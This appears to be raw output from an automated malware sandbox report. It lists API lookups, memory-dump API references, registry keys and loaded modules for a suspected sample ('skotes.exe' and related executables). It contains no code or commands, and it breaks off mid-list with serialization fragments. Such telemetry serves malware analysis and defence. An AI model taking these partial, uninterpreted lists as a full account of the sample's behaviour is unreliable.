"skotes.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CoInternetCreateZoneManager (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetAddrInfoExW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter FreeAddrInfoExW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ObjectStublessClient10 (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadBSTR (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter PathCreateFromUrlW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00002756) "5b5767e85f.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter timeGetTime (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter NtOpenThread (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter RtlAllocateHeap (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter StrRChrA (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter GetProductInfo (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter InitSecurityInterfaceA (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter RpcBindingSetAuthInfoExW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter RpcBindingSetOption (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter WSAStringToAddressW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter UrlCanonicalizeW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter StrCmpNW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter SslOpenProvider (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter GetHashInterface (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter SslIncrementProviderReferenceCount (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter SslImportKey (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter GetCipherInterface (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter SslLookupCipherSuiteInfo (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter BCryptOpenAlgorithmProvider (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter BCryptGetProperty (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter BCryptCreateHash (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter BCryptHashData (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter BCryptFinishHash (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter BCryptDestroyHash (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter GetUserProfileDirectoryW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter GetSignatureInterface (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter BCryptImportKeyPair (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter BCryptDestroyKey (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter CryptVerifySignatureA (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter GetAsymmetricEncryptionInterface (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter BCryptVerifySignature (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter SslEncryptPacket (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter SslDecryptPacket (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter SslFreeObject (UID: 00000000-00000516) "5b5767e85f.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000516)32:T223c,Found reference to API (Indicator: "lstrcpy"; File: "ffa05200d7a741017eb476eef981b041.exe") Found reference to API (Indicator: "CreateThread"; File: "ffa05200d7a741017eb476eef981b041.exe") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "InitOnceExecuteOnce"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "CreateEventExW"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "FlushProcessWriteBuffers"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "FreeLibraryWhenCallbackReturns"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessorNumber"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "CreateSymbolicLinkW"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "SetFileInformationByHandle"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "WakeConditionVariable"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "InitializeSRWLock"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "SetThreadGroupAffinity"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "GetThreadGroupAffinity"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessorNumberEx"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformationEx"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00000560.00000000.263215.00F11000.00000040.mdmp, 00000000-00000560.00000001.263902.00F11000.00000040.mdmp")33:T763,"\Registry\Machine\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\GRE_Initialize" in Source: 00000000-00000516.00000001.270435.00750000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00000516.00000000.270346.00750000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00000516.00000000.270346.00750000.00000004.mdmp "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize" in Source: 00000000-00000516.00000001.270435.00750000.00000004.mdmp "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots" in Source: 00000000-00000560.00000000.263215.00280000.00000004.mdmp "\Registry\Machine\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots" in Source: 00000000-00000560.00000000.263215.00280000.00000004.mdmp "EGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00000560.00000001.263902.00960000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{dffacdc5-679f-4156-8947-c5c76bc0b67f}\InProcServer32" in Source: 00000000-00000560.00000001.263902.009EB000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{dffacdc5-679f-4156" in Source: 00000000-00000560.00000001.263902.009EB000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-686412048-2446563785-1323799475-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00002756.00000000.264161.00220000.00000004.mdmp "\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\ProfileList" in Source: 00000000-00002756.00000000.264161.00220000.00000004.mdmp34:T2f3a,"ffa05200d7a741017eb476eef981b041.exe" loaded module "ADVAPI32.DLL" at base 778f0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "NTDLL.DLL" at base 77dd0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "WINMM.DLL" at base 74e30000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "NTDLL" at base 77dd0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "KERNEL32.DLL" at base 75e30000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "SHELL32.DLL" at base 76ca0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "OLE32.DLL" at base 760d0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 75e20000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "WININET.DLL" at base 76820000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "WS2_32.DLL" at base 75dd0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 752b0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "ffa05200d7a741017eb476eef981b041.exe" loaded module "KERNEL32" at base 75e30000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "ffa05200d7a741017eb476eef981b041.exe" loaded module "SSPICLI.DLL" at base 75670000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "RPCRT4.DLL" at base 756e0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "CRYPTBASE.DLL" at base 75660000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74b50000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "CLBCATQ.DLL" at base 75be0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "COMCTL32.DLL" at base 74bd0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSTEM32\MSTASK.DLL" at base 73aa0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "SHLWAPI.DLL" at base 75860000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "OLEAUT32.DLL" at base 76ad0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "MPR.DLL" at base 74e10000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 76760000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76ca0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "DUI70.DLL" at base 72910000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "UXTHEME.DLL" at base 74b50000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "DUSER.DLL" at base 73ab0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSTEM32\DUSER.DLL" at base 73ab0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "USER32.DLL" at base 758c0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "DWMAPI.DLL" at base 74b30000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSTEM32\XMLLITE.DLL" at base 74e80000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "OLEACC.DLL" at base 73a70000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 727a0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73f10000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75e30000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "SETUPAPI.DLL" at base 76230000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 760d0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "NTMARTA.DLL" at base 73bd0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "PROPSYS.DLL" at base 73f10000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSWOW64\MSCTF.DLL" at base 76b80000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "GDIPLUS.DLL" at base 74990000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.23894_NONE_5C0BE957A009922E\GDIPLUS.DLL" at base 74990000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "CRYPTSP.DLL" at base 72780000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72740000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 76760000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "PROFAPI.DLL" at base 76810000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "RPCRTREMOTE.DLL" at base 72730000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "APPHELP.DLL" at base 75480000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 728e0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 759f0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "SECUR32.DLL" at base 728d0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 75e10000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 728c0000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75480000 "ffa05200d7a741017eb476eef981b041.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "skotes.exe" loaded module "GDI32.DLL" at base 76780000 "skotes.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 75d10000 "skotes.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 752b0000 "skotes.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "skotes.exe" loaded module "KERNEL32" at base 75e30000 "skotes.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "skotes.exe" loaded module "USER32.DLL" at base 758c0000 "skotes.exe" loaded module "ADVAPI32.DLL" at base 778f0000 "skotes.exe" loaded module "NTDLL.DLL" at base 77dd0000 "skotes.exe" loaded module "WINMM.DLL" at base 74e30000 "skotes.exe" loaded module "NTDLL" at base 77dd0000 "skotes.exe" loaded module "KERNEL32.DLL" at base 75e30000 "skotes.exe" 